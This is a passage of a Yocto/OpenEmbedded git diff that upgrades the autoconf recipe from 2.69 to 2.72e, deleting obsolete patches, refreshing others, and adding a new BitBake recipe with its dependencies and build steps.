+ # update the file or not. In fact, the effect of '$force' is already
+ # included in '$automake' via '--no-force'.
+ @ex = grep (/^automake$/, @exclude);
+ if ($#ex == -1) {
-+ xsystem ("$automake");
+ xsystem ($automake);
+ }
}
-
-@@ -634,7 +663,10 @@
- }
- else
- {
-- xsystem ("$make");
-+ @ex = grep (/^make$/, @exclude);
-+ if ($#ex == -1) {
-+ xsystem ("$make");
-+ }
- }
- }
- }
+ # ---------------------------------------------------- #
diff --git a/meta/recipes-devtools/autoconf/autoconf/autoreconf-gnuconfigize.patch b/meta/recipes-devtools/autoconf/autoconf/autoreconf-gnuconfigize.patch
deleted file mode 100644
index 5ff18c2350..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/autoreconf-gnuconfigize.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-Upstream-Status: Pending
-
-#
-# Patch managed by http://www.mn-logistik.de/unsupported/pxa250/patcher
-#
-
-Index: autoconf-2.63/bin/autoreconf.in
-===================================================================
---- autoconf-2.63.orig/bin/autoreconf.in 2008-12-31 17:43:55.000000000 +0000
-+++ autoconf-2.63/bin/autoreconf.in 2008-12-31 17:46:16.000000000 +0000
-@@ -58,7 +58,7 @@
- $help = "Usage: $0 [OPTION]... [DIRECTORY]...
-
- Run `autoconf' (and `autoheader', `aclocal', `automake', `autopoint'
--(formerly `gettextize'), and `libtoolize' where appropriate)
-+(formerly `gettextize'), `libtoolize', and `gnu-configize' where appropriate)
- repeatedly to remake the GNU Build System files in specified
- DIRECTORIES and their subdirectories (defaulting to `.').
-
-@@ -115,6 +115,7 @@
- my $libtoolize = $ENV{'LIBTOOLIZE'} || 'libtoolize';
- my $autopoint = $ENV{'AUTOPOINT'} || 'autopoint';
- my $make = $ENV{'MAKE'} || 'make';
-+my $gnuconfigize = $ENV{'GNUCONFIGIZE'} || 'gnu-configize';
-
- # --install -- as --add-missing in other tools.
- my $install = 0;
-@@ -644,6 +645,10 @@
- }
- }
-
-+ @ex = grep (/^gnu-configize$/, @exclude);
-+ if ($#ex == -1) {
-+ xsystem ("$gnuconfigize");
-+ }
-
- # -------------- #
- # Running make. #
diff --git a/meta/recipes-devtools/autoconf/autoconf/autotest-automake-result-format.patch b/meta/recipes-devtools/autoconf/autoconf/autotest-automake-result-format.patch
index b5e8174efd..38725574ba 100644
--- a/meta/recipes-devtools/autoconf/autoconf/autotest-automake-result-format.patch
+++ b/meta/recipes-devtools/autoconf/autoconf/autotest-automake-result-format.patch
@@ -1,25 +1,19 @@
-From a7e722f974e2529d3e564d8d94c86cc8bdbc40e7 Mon Sep 17 00:00:00 2001
-From: Radu Patriu <radu.patriu@enea.com>
-Date: Mon, 24 Mar 2014 16:33:19 +0200
-Subject: [PATCH] autotest: new testsuite option to enable automake test
- result format
+From b28bd61e4716e744617bd681a5b0d5472f62bd67 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 12 Mar 2020 17:25:45 +0000
+Subject: [PATCH] autotest-automake-result-format.patch
-* lib/autotest/general.m4: added "--am-fmt | -A" command line
-parameter for testsuite script to enable "RESULT: testname" output;
-will be used by yocto ptest packages.
+Upstream-Status: Inappropriate [oe specific]
-Upstream-Status: Pending
-
-Signed-off-by: Radu Patriu <radu.patriu@enea.com>
---
- lib/autotest/general.m4 | 39 +++++++++++++++++++++++++++++----------
+ lib/autotest/general.m4 | 39 +++++++++++++++++++++++++++++----------
1 file changed, 29 insertions(+), 10 deletions(-)
diff --git a/lib/autotest/general.m4 b/lib/autotest/general.m4
-index 60c0352..c1f5a9b 100644
+index bf18866..8097523 100644
--- a/lib/autotest/general.m4
+++ b/lib/autotest/general.m4
-@@ -412,6 +412,9 @@ at_recheck=
+@@ -427,6 +427,9 @@ at_recheck=
# Whether a write failure occurred
at_write_fail=0
@@ -29,7 +23,7 @@ index 60c0352..c1f5a9b 100644
# The directory we run the suite in. Default to . if no -C option.
at_dir=`pwd`
# An absolute reference to this testsuite script.
-@@ -530,6 +533,10 @@ do
+@@ -540,6 +543,10 @@ do
at_check_filter_trace=at_fn_filter_trace
;;
@@ -40,7 +34,7 @@ index 60c0352..c1f5a9b 100644
[[0-9] | [0-9][0-9] | [0-9][0-9][0-9] | [0-9][0-9][0-9][0-9]])
at_fn_validate_ranges at_option
AS_VAR_APPEND([at_groups], ["$at_option$as_nl"])
-@@ -718,10 +725,10 @@ m4_divert_push([HELP_MODES])dnl
+@@ -728,10 +735,10 @@ m4_divert_push([HELP_MODES])dnl
cat <<_ATEOF || at_write_fail=1
Operation modes:
@@ -55,7 +49,7 @@ index 60c0352..c1f5a9b 100644
_ATEOF
m4_divert_pop([HELP_MODES])dnl
m4_wrap([m4_divert_push([HELP_TUNING_BEGIN])dnl
-@@ -747,6 +754,7 @@ Execution tuning:
+@@ -757,6 +764,7 @@ Execution tuning:
-d, --debug inhibit clean up and top-level logging
[ default for debugging scripts]
-x, --trace enable tests shell tracing
@@ -63,7 +57,7 @@ index 60c0352..c1f5a9b 100644
_ATEOF
m4_divert_pop([HELP_TUNING_BEGIN])])dnl
m4_divert_push([HELP_END])dnl
-@@ -1162,7 +1170,9 @@ at_fn_group_banner ()
+@@ -1139,7 +1147,9 @@ at_fn_group_banner ()
[*]) at_desc_line="$[1]: " ;;
esac
AS_VAR_APPEND([at_desc_line], ["$[3]$[4]"])
@@ -74,7 +68,7 @@ index 60c0352..c1f5a9b 100644
echo "# -*- compilation -*-" >> "$at_group_log"
}
-@@ -1188,42 +1198,51 @@ _ATEOF
+@@ -1165,42 +1175,51 @@ _ATEOF
case $at_xfail:$at_status in
yes:0)
at_msg="UNEXPECTED PASS"
@@ -131,6 +125,3 @@ index 60c0352..c1f5a9b 100644
fi
at_log_msg="$at_group. $at_desc ($at_setup_line): $at_msg"
case $at_status in
---
-1.7.9.5
-
diff --git a/meta/recipes-devtools/autoconf/autoconf/check-automake-cross-warning.patch b/meta/recipes-devtools/autoconf/autoconf/check-automake-cross-warning.patch
deleted file mode 100644
index 73394d7d52..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/check-automake-cross-warning.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-Use --warning=cross only if supported by automake
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
-
---- a/bin/autoreconf.in
-+++ b/bin/autoreconf.in
-@@ -127,6 +127,8 @@ my $aclocal_supports_warnings = 0;
- my $automake_supports_force_missing = 0;
- # Does automake support -Wfoo?
- my $automake_supports_warnings = 0;
-+# Does automake support --warning=cross
-+my $automake_supports_cross_warning = 0;
-
- my @prepend_include;
- my @include;
-@@ -191,6 +193,7 @@ sub parse_args ()
- $aclocal_supports_warnings = $aclocal_help =~ /--warnings/;
- $automake_supports_force_missing = $automake_help =~ /--force-missing/;
- $automake_supports_warnings = $automake_help =~ /--warnings/;
-+ $automake_supports_cross_warning = $automake_help =~ /cross/;
-
- # Dispatch autoreconf's option to the tools.
- # --include;
-@@ -244,6 +247,8 @@ sub parse_args ()
- $libtoolize .= ' --debug';
- }
- # --warnings;
-+ @warning = grep { $_ ne "cross" } @warning
-+ if ! $automake_supports_cross_warning;
- if (@warning)
- {
- my $warn = ' --warnings=' . join (',', @warning);
diff --git a/meta/recipes-devtools/autoconf/autoconf/config_site.patch b/meta/recipes-devtools/autoconf/autoconf/config_site.patch
deleted file mode 100644
index 9f044404dd..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/config_site.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-Upstream-Status: Pending
-
-Poky provides a list of site files in CONFIG_SITE whereas autoconf
-only expects one file. This patch changes autoconf to accept a list of
-them.
-
-RP 1/2/10
-
-Updated for 2.68 version: the CONFIG_SITE var was not getting used at all
-fixed the 2.68 code
-Nitin A Kamble <nitin.a.kamble@intel.com> 2011/05/27
-
-Index: autoconf-2.68/lib/autoconf/general.m4
-===================================================================
---- autoconf-2.68.orig/lib/autoconf/general.m4
-+++ autoconf-2.68/lib/autoconf/general.m4
-@@ -1878,7 +1878,6 @@ AU_DEFUN([AC_VALIDATE_CACHED_SYSTEM_TUPL
- m4_define([AC_SITE_LOAD],
- [# Prefer an explicitly selected file to automatically selected ones.
- ac_site_file1=NONE
--ac_site_file2=NONE
- if test -n "$CONFIG_SITE"; then
- # We do not want a PATH search for config.site.
- case $CONFIG_SITE in @%:@((
-@@ -1886,14 +1885,8 @@ if test -n "$CONFIG_SITE"; then
- */*) ac_site_file1=$CONFIG_SITE;;
- *) ac_site_file1=./$CONFIG_SITE;;
- esac
--elif test "x$prefix" != xNONE; then
-- ac_site_file1=$prefix/share/config.site
-- ac_site_file2=$prefix/etc/config.site
--else
-- ac_site_file1=$ac_default_prefix/share/config.site
-- ac_site_file2=$ac_default_prefix/etc/config.site
- fi
--for ac_site_file in "$ac_site_file1" "$ac_site_file2"
-+for ac_site_file in $ac_site_file1
- do
- test "x$ac_site_file" = xNONE && continue
- if test /dev/null != "$ac_site_file" && test -r "$ac_site_file"; then
diff --git a/meta/recipes-devtools/autoconf/autoconf/fix_path_xtra.patch b/meta/recipes-devtools/autoconf/autoconf/fix_path_xtra.patch
deleted file mode 100644
index 65df88f8f9..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/fix_path_xtra.patch
+++ /dev/null
@@ -1,120 +0,0 @@
-Upstream-Status: Pending
-
-We don't build xmkmf so any values returned from it are going to be wrong.
-Using any paths in /usr/ for x headers/libs is a bad idea when cross compiling.
-This patch removes them to stop any confusion.
-
-RP - 20071115
-
-Index: autoconf-2.68/lib/autoconf/libs.m4
-===================================================================
---- autoconf-2.68.orig/lib/autoconf/libs.m4
-+++ autoconf-2.68/lib/autoconf/libs.m4
-@@ -159,53 +159,6 @@ m4_popdef([AC_Lib_Name])dnl
- # --------------------- #
-
-
--# _AC_PATH_X_XMKMF
--# ----------------
--# Internal subroutine of _AC_PATH_X.
--# Set ac_x_includes and/or ac_x_libraries.
--m4_define([_AC_PATH_X_XMKMF],
--[AC_ARG_VAR(XMKMF, [Path to xmkmf, Makefile generator for X Window System])dnl
--rm -f -r conftest.dir
--if mkdir conftest.dir; then
-- cd conftest.dir
-- cat >Imakefile <<'_ACEOF'
--incroot:
-- @echo incroot='${INCROOT}'
--usrlibdir:
-- @echo usrlibdir='${USRLIBDIR}'
--libdir:
-- @echo libdir='${LIBDIR}'
--_ACEOF
-- if (export CC; ${XMKMF-xmkmf}) >/dev/null 2>/dev/null && test -f Makefile; then
-- # GNU make sometimes prints "make[1]: Entering ...", which would confuse us.
-- for ac_var in incroot usrlibdir libdir; do
-- eval "ac_im_$ac_var=\`\${MAKE-make} $ac_var 2>/dev/null | sed -n 's/^$ac_var=//p'\`"
-- done
-- # Open Windows xmkmf reportedly sets LIBDIR instead of USRLIBDIR.
-- for ac_extension in a so sl dylib la dll; do
-- if test ! -f "$ac_im_usrlibdir/libX11.$ac_extension" &&
-- test -f "$ac_im_libdir/libX11.$ac_extension"; then
-- ac_im_usrlibdir=$ac_im_libdir; break
-- fi
-- done
-- # Screen out bogus values from the imake configuration. They are
-- # bogus both because they are the default anyway, and because
-- # using them would break gcc on systems where it needs fixed includes.
-- case $ac_im_incroot in
-- /usr/include) ac_x_includes= ;;
-- *) test -f "$ac_im_incroot/X11/Xos.h" && ac_x_includes=$ac_im_incroot;;
-- esac
-- case $ac_im_usrlibdir in
-- /usr/lib | /usr/lib64 | /lib | /lib64) ;;
-- *) test -d "$ac_im_usrlibdir" && ac_x_libraries=$ac_im_usrlibdir ;;
-- esac
-- fi
-- cd ..
-- rm -f -r conftest.dir
--fi
--])# _AC_PATH_X_XMKMF
--
--
- # _AC_PATH_X_DIRECT
- # -----------------
- # Internal subroutine of _AC_PATH_X.
-@@ -213,44 +166,7 @@ fi
- m4_define([_AC_PATH_X_DIRECT],
- [# Standard set of common directories for X headers.
- # Check X11 before X11Rn because it is often a symlink to the current release.
--ac_x_header_dirs='
--/usr/X11/include
--/usr/X11R7/include
--/usr/X11R6/include
--/usr/X11R5/include
--/usr/X11R4/include
--
--/usr/include/X11
--/usr/include/X11R7
--/usr/include/X11R6
--/usr/include/X11R5
--/usr/include/X11R4
--
--/usr/local/X11/include
--/usr/local/X11R7/include
--/usr/local/X11R6/include
--/usr/local/X11R5/include
--/usr/local/X11R4/include
--
--/usr/local/include/X11
--/usr/local/include/X11R7
--/usr/local/include/X11R6
--/usr/local/include/X11R5
--/usr/local/include/X11R4
--
--/usr/X386/include
--/usr/x386/include
--/usr/XFree86/include/X11
--
--/usr/include
--/usr/local/include
--/usr/unsupported/include
--/usr/athena/include
--/usr/local/x11r5/include
--/usr/lpp/Xamples/include
--
--/usr/openwin/include
--/usr/openwin/share/include'
-+ac_x_header_dirs=''
-
- if test "$ac_x_includes" = no; then
- # Guess where to find include files, by looking for Xlib.h.
-@@ -299,7 +215,6 @@ AC_DEFUN([_AC_PATH_X],
- [AC_CACHE_VAL(ac_cv_have_x,
- [# One or both of the vars are not set, and there is no cached value.
- ac_x_includes=no ac_x_libraries=no
--_AC_PATH_X_XMKMF
- _AC_PATH_X_DIRECT
- case $ac_x_includes,$ac_x_libraries in #(
- no,* | *,no | *\'*)
diff --git a/meta/recipes-devtools/autoconf/autoconf/man-host-perl.patch b/meta/recipes-devtools/autoconf/autoconf/man-host-perl.patch
new file mode 100644
index 0000000000..0f49583a64
--- /dev/null
+++ b/meta/recipes-devtools/autoconf/autoconf/man-host-perl.patch
@@ -0,0 +1,31 @@
+From 1c033f2a23941c46d88b9ac279f87bf2c6e99499 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Wed, 15 Jul 2020 16:03:21 +0100
+Subject: [PATCH] Don't use the target perl when regenerating the man pages.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+---
+ man/local.mk | 3 +--
+ 1 file changed, 1 insertion(+), 2 deletions(-)
+
+diff --git a/man/local.mk b/man/local.mk
+index 775c131..ba94753 100644
+--- a/man/local.mk
++++ b/man/local.mk
+@@ -77,13 +77,12 @@ SUFFIXES += .w .1
+ @echo "Updating man page $@"
+ $(MKDIR_P) $(@D)
+ PATH="$(top_srcdir)/man$(PATH_SEPARATOR)$$PATH"; \
+- PERL="$(PERL)"; \
+ PACKAGE_NAME="$(PACKAGE_NAME)"; \
+ VERSION="$(VERSION)"; \
+ RELEASE_YEAR="$(RELEASE_YEAR)"; \
+ top_srcdir="$(top_srcdir)"; \
+ channeldefs_pm="$(channeldefs_pm)"; \
+- export PATH PERL PACKAGE_NAME VERSION RELEASE_YEAR; \
++ export PATH PACKAGE_NAME VERSION RELEASE_YEAR; \
+ export top_srcdir channeldefs_pm; \
+ $(HELP2MAN) \
+ --include=$(srcdir)/$*.x \
diff --git a/meta/recipes-devtools/autoconf/autoconf/no-man.patch b/meta/recipes-devtools/autoconf/autoconf/no-man.patch
new file mode 100644
index 0000000000..3e741edfb2
--- /dev/null
+++ b/meta/recipes-devtools/autoconf/autoconf/no-man.patch
@@ -0,0 +1,36 @@
+From 8bcaf677e41f1f5d3fa0a746e35958e7b303ac71 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Wed, 15 Jul 2020 16:03:21 +0100
+Subject: [PATCH] autoconf: upgrade to 2.71
+
+For native builds we don't care about the documentation, and this would
+otherwise pull in a dependency on help2man.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+---
+ Makefile.in | 10 ----------
+ 1 file changed, 10 deletions(-)
+
+diff --git a/Makefile.in b/Makefile.in
+index c8d6425..72d6d05 100644
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -771,16 +771,6 @@ buildauxdir = $(pkgdatadir)/build-aux
+ dist_buildaux_DATA = \
+ $(AUXSCRIPTS)
+
+-dist_man_MANS = \
+- man/autoconf.1 \
+- man/autoheader.1 \
+- man/autom4te.1 \
+- man/autoreconf.1 \
+- man/autoscan.1 \
+- man/autoupdate.1 \
+- man/ifnames.1
+-
+-
+ # Each manpage depends on:
+ # - its .w and .x files and its source script in bin/
+ # - common.x for the SEE ALSO list
diff --git a/meta/recipes-devtools/autoconf/autoconf/performance.patch b/meta/recipes-devtools/autoconf/autoconf/performance.patch
deleted file mode 100644
index 1842fe92b7..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/performance.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-The check for solaris 'print' causes significant problems on a linux machine
-with dash as /bin/sh since it triggers the execution of "print" which on some
-linux systems is a perl script which is part of mailcap. Worse, this perl
-script calls "which file" and if successful ignores the path file was found
-in and just runs "file" without a path. Each exection causes PATH to be searched.
-
-Simply assuming the shell's printf function works cuts out all the fork overhead
-and when parallel tasks are running, this overhead appears to be significant.
-
-RP
-2015/11/28
-Upstream-Status: Inappropriate
-
-Index: autoconf-2.69/lib/m4sugar/m4sh.m4
-===================================================================
---- autoconf-2.69.orig/lib/m4sugar/m4sh.m4
-+++ autoconf-2.69/lib/m4sugar/m4sh.m4
-@@ -1045,40 +1045,8 @@ m4_defun([_AS_ECHO_PREPARE],
- [[as_nl='
- '
- export as_nl
--# Printing a long string crashes Solaris 7 /usr/bin/printf.
--as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'
--as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo
--as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo
--# Prefer a ksh shell builtin over an external printf program on Solaris,
--# but without wasting forks for bash or zsh.
--if test -z "$BASH_VERSION$ZSH_VERSION" \
-- && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then
-- as_echo='print -r --'
-- as_echo_n='print -rn --'
--elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then
-- as_echo='printf %s\n'
-- as_echo_n='printf %s'
--else
-- if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then
-- as_echo_body='eval /usr/ucb/echo -n "$][1$as_nl"'
-- as_echo_n='/usr/ucb/echo -n'
-- else
-- as_echo_body='eval expr "X$][1" : "X\\(.*\\)"'
-- as_echo_n_body='eval
-- arg=$][1;
-- case $arg in @%:@(
-- *"$as_nl"*)
-- expr "X$arg" : "X\\(.*\\)$as_nl";
-- arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;;
-- esac;
-- expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl"
-- '
-- export as_echo_n_body
-- as_echo_n='sh -c $as_echo_n_body as_echo'
-- fi
-- export as_echo_body
-- as_echo='sh -c $as_echo_body as_echo'
--fi
-+as_echo='printf %s\n'
-+as_echo_n='printf %s'
- ]])# _AS_ECHO_PREPARE
-
-
diff --git a/meta/recipes-devtools/autoconf/autoconf/preferbash.patch b/meta/recipes-devtools/autoconf/autoconf/preferbash.patch
index fa76ee9bdd..64fed1fd82 100644
--- a/meta/recipes-devtools/autoconf/autoconf/preferbash.patch
+++ b/meta/recipes-devtools/autoconf/autoconf/preferbash.patch
@@ -1,25 +1,36 @@
-This value is used to determine CONFIG_SHELL and SHELL which may get exported into
-scripts shared via sstate onto other systems.
+From a877ff979349d3bf6f5f0d92fe4e741be0ad98b4 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 12 Mar 2020 17:25:41 +0000
+Subject: [PATCH] m4sh: prefer bash over sh
-Some systems have /bin/sh -> dash and others /bin/sh -> bash. Bash is preferred
-but sometimes we can sometimes end up exporting /bin/sh yet use bashisms.
+_AS_DETECT_BETTER_SHELL looks for a good shell to use, and tries to look for
+'sh' before 'bash'. Whilst for many systems sh is a symlink to bash,
+there are many where sh is a symlink to a more minimal sh implementation.
-This patch puts bash first in the search results which avoids the bash/dash confusion.
+For example, Debian by default has /bin/sh -> /bin/dash: dash is a faster
+shell to start (which makes a notable difference to boot speed) but is not
+as fast as bash at executing long scripts (and configure scripts are not
+known for their conciseness).
-RP 2012/9/23
+Change the search order to bash then sh, so that a known-good shell (bash)
+is used if available over something which is merely POSIX compliant.
-Upstream-Status: Inappropriate [OE specific configuration]
+Upstream-Status: Inappropriate [oe specific]
-Index: autoconf-2.69/lib/m4sugar/m4sh.m4
-===================================================================
---- autoconf-2.69.orig/lib/m4sugar/m4sh.m4 2012-03-07 17:35:26.000000000 +0000
-+++ autoconf-2.69/lib/m4sugar/m4sh.m4 2013-09-23 16:12:38.853597515 +0000
-@@ -229,7 +229,7 @@
+---
+ lib/m4sugar/m4sh.m4 | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/lib/m4sugar/m4sh.m4 b/lib/m4sugar/m4sh.m4
+index 368487f..cc70f51 100644
+--- a/lib/m4sugar/m4sh.m4
++++ b/lib/m4sugar/m4sh.m4
+@@ -233,7 +233,7 @@ dnl Remove any tests from suggested that are also required
[_AS_PATH_WALK([/bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH],
[case $as_dir in @%:@(
/*)
- for as_base in sh bash ksh sh5; do
+ for as_base in bash sh ksh sh5; do
# Try only shells that exist, to save several forks.
- as_shell=$as_dir/$as_base
+ as_shell=$as_dir$as_base
AS_IF([{ test -f "$as_shell" || test -f "$as_shell.exe"; } &&
diff --git a/meta/recipes-devtools/autoconf/autoconf/program_prefix.patch b/meta/recipes-devtools/autoconf/autoconf/program_prefix.patch
index 978a401f0a..f647f2a8c0 100644
--- a/meta/recipes-devtools/autoconf/autoconf/program_prefix.patch
+++ b/meta/recipes-devtools/autoconf/autoconf/program_prefix.patch
@@ -1,20 +1,25 @@
-Upstream-Status: Pending
+From 7949496ff3834dcd98407cc3f3ea022ee2471d52 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 12 Mar 2020 17:28:38 +0000
+Subject: [PATCH] program_prefix.patch
-#
-# Patch managed by http://www.mn-logistik.de/unsupported/pxa250/patcher
-#
+Upstream-Status: Inappropriate [oe specific]
+Signed-off-by: Ross Burton <ross.burton@intel.com>
---- autoconf-2.57/lib/autoconf/general.m4~program_prefix
-+++ autoconf-2.57/lib/autoconf/general.m4
-@@ -1676,8 +1676,9 @@
+---
+ lib/autoconf/general.m4 | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/lib/autoconf/general.m4 b/lib/autoconf/general.m4
+index 47d896d..3deaa46 100644
+--- a/lib/autoconf/general.m4
++++ b/lib/autoconf/general.m4
+@@ -2071,7 +2071,7 @@ _AC_CANONICAL_SPLIT([target])
+
# The aliases save the names the user supplied, while $host etc.
# will get canonicalized.
- test -n "$target_alias" &&
-- test "$program_prefix$program_suffix$program_transform_name" = \
-- NONENONEs,x,x, &&
-+ test "$target_alias" != "$host_alias" &&
-+ test "$program_prefix$program_suffix$program_transform_name" = \
-+ NONENONEs,x,x, &&
+-test -n "$target_alias" &&
++test -n "$target_alias" && test "$target_alias" != "$host_alias" &&
+ test "$program_prefix$program_suffix$program_transform_name" = \
+ NONENONEs,x,x, &&
program_prefix=${target_alias}-[]dnl
- ])# AC_CANONICAL_TARGET
-
diff --git a/meta/recipes-devtools/autoconf/autoconf/remove-usr-local-lib-from-m4.patch b/meta/recipes-devtools/autoconf/autoconf/remove-usr-local-lib-from-m4.patch
index 55d2e2fe7e..ca1534b8f0 100644
--- a/meta/recipes-devtools/autoconf/autoconf/remove-usr-local-lib-from-m4.patch
+++ b/meta/recipes-devtools/autoconf/autoconf/remove-usr-local-lib-from-m4.patch
@@ -1,17 +1,20 @@
-We have problem using hardcoded directories like /usr/local here
-which will be checked for cross builds. This is a special case which
-is valid for AIX only. We do not have AIX as one of our supported
-build host or target. Therefore we get rid of the hardcoded paths
-and make life easier for cross compilation process.
+From 294a8d47a70db077691624615c5cb6d331a3299b Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 12 Mar 2020 17:25:37 +0000
+Subject: [PATCH] remove-usr-local-lib-from-m4.patch
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Inappropriate [oe specific]
+Signed-off-by: Ross Burton <ross.burton@intel.com>
-Upstream-Status: Inappropriate [Upstream does care for AIX while we may not]
-Index: autoconf-2.68/lib/autoconf/functions.m4
-===================================================================
---- autoconf-2.68.orig/lib/autoconf/functions.m4 2010-09-22 14:52:19.000000000 -0700
-+++ autoconf-2.68/lib/autoconf/functions.m4 2011-08-03 11:57:05.822199513 -0700
-@@ -749,15 +749,6 @@ if test $ac_have_func = no; then
+---
+ lib/autoconf/functions.m4 | 9 ---------
+ 1 file changed, 9 deletions(-)
+
+diff --git a/lib/autoconf/functions.m4 b/lib/autoconf/functions.m4
+index 9b3f3c0..1faa99b 100644
+--- a/lib/autoconf/functions.m4
++++ b/lib/autoconf/functions.m4
+@@ -825,15 +825,6 @@ if test $ac_have_func = no; then
[LIBS="-lutil $LIBS" ac_have_func=yes ac_cv_func_getloadavg_setgid=yes])
fi
diff --git a/meta/recipes-devtools/autoconf/autoconf_2.69.bb b/meta/recipes-devtools/autoconf/autoconf_2.69.bb
deleted file mode 100644
index 8e67f4b829..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf_2.69.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-require autoconf.inc
-
-PR = "r11"
-
-LICENSE = "GPLv2 & GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe \
- file://COPYINGv3;md5=d32239bcb673463ab874e80d47fae504"
-SRC_URI += "file://check-automake-cross-warning.patch \
- file://autoreconf-exclude.patch \
- file://autoreconf-gnuconfigize.patch \
- file://config_site.patch \
- file://remove-usr-local-lib-from-m4.patch \
- file://preferbash.patch \
- file://autotest-automake-result-format.patch \
- file://add_musl_config.patch \
- file://performance.patch \
- file://AC_HEADER_MAJOR-port-to-glibc-2.25.patch \
- file://autoconf-replace-w-option-in-shebangs-with-modern-use-warnings.patch \
- "
-
-SRC_URI[md5sum] = "82d05e03b93e45f5a39b828dc9c6c29b"
-SRC_URI[sha256sum] = "954bd69b391edc12d6a4a51a2dd1476543da5c6bbf05a95b59dc0dd6fd4c2969"
-
-SRC_URI_append_class-native = " file://fix_path_xtra.patch"
-
-EXTRA_OECONF += "ac_cv_path_M4=m4 ac_cv_prog_TEST_EMACS=no"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/autoconf/autoconf_2.72e.bb b/meta/recipes-devtools/autoconf/autoconf_2.72e.bb
new file mode 100644
index 0000000000..db374373cf
--- /dev/null
+++ b/meta/recipes-devtools/autoconf/autoconf_2.72e.bb
@@ -0,0 +1,83 @@
+SUMMARY = "A GNU tool that produce shell scripts to automatically configure software"
+DESCRIPTION = "Autoconf is an extensible package of M4 macros that produce shell scripts to automatically \
+configure software source code packages. Autoconf creates a configuration script for a package from a template \
+file that lists the operating system features that the package can use, in the form of M4 macro calls."
+LICENSE = "GPL-3.0-or-later"
+HOMEPAGE = "http://www.gnu.org/software/autoconf/"
+SECTION = "devel"
+DEPENDS = "m4-native autoconf-native automake-native gnu-config-native help2man-native"
+DEPENDS:remove:class-native = "autoconf-native automake-native help2man-native"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=cc3f3a7596cb558bbd9eb7fbaa3ef16c \
+ file://COPYINGv3;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = " \
+ https://alpha.gnu.org/gnu/autoconf/${BP}.tar.gz \
+ file://program_prefix.patch \
+ file://autoreconf-exclude.patch \
+ file://remove-usr-local-lib-from-m4.patch \
+ file://preferbash.patch \
+ file://autotest-automake-result-format.patch \
+ file://man-host-perl.patch \
+"
+SRC_URI:append:class-native = " file://no-man.patch"
+
+SRC_URI[sha256sum] = "f3478d3b597d51f5d61596fb2f6f6aba49cdd974b4b05ff0bac57f56b5cfdb39"
+
+RDEPENDS:${PN} = "m4 gnu-config \
+ perl \
+ perl-module-bytes \
+ perl-module-carp \
+ perl-module-constant \
+ perl-module-data-dumper \
+ perl-module-errno \
+ perl-module-exporter \
+ perl-module-file-basename \
+ perl-module-file-compare \
+ perl-module-file-copy \
+ perl-module-file-find \
+ perl-module-file-glob \
+ perl-module-file-path \
+ perl-module-file-spec \
+ perl-module-file-spec-unix \
+ perl-module-file-stat \
+ perl-module-file-temp \
+ perl-module-getopt-long \
+ perl-module-io-file \
+ perl-module-list-util \
+ perl-module-overloading \
+ perl-module-posix \
+ perl-module-scalar-util \
+ perl-module-symbol \
+ perl-module-thread-queue \
+ perl-module-threads \
+ perl-module-feature \
+ "
+RDEPENDS:${PN}:class-native = "m4-native gnu-config-native hostperl-runtime-native"
+
+inherit autotools texinfo
+
+PERL = "${USRBINPATH}/perl"
+PERL:class-native = "/usr/bin/env perl"
+PERL:class-nativesdk = "/usr/bin/env perl"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='${PERL}'"
+
+EXTRA_OECONF += "ac_cv_path_M4=m4 ac_cv_prog_TEST_EMACS=no"
+
+# As autoconf installs its own config.* files, ensure that they're always up to date.
+update_gnu_config() {
+ install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.guess ${S}/build-aux
+ install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.sub ${S}/build-aux
+}
+do_configure[prefuncs] += "update_gnu_config"
+
+do_configure:class-native() {
+ oe_runconf
+}
+
+do_install:append() {
+ rm -rf ${D}${datadir}/emacs
+}
+
+BBCLASSEXTEND = "native nativesdk"
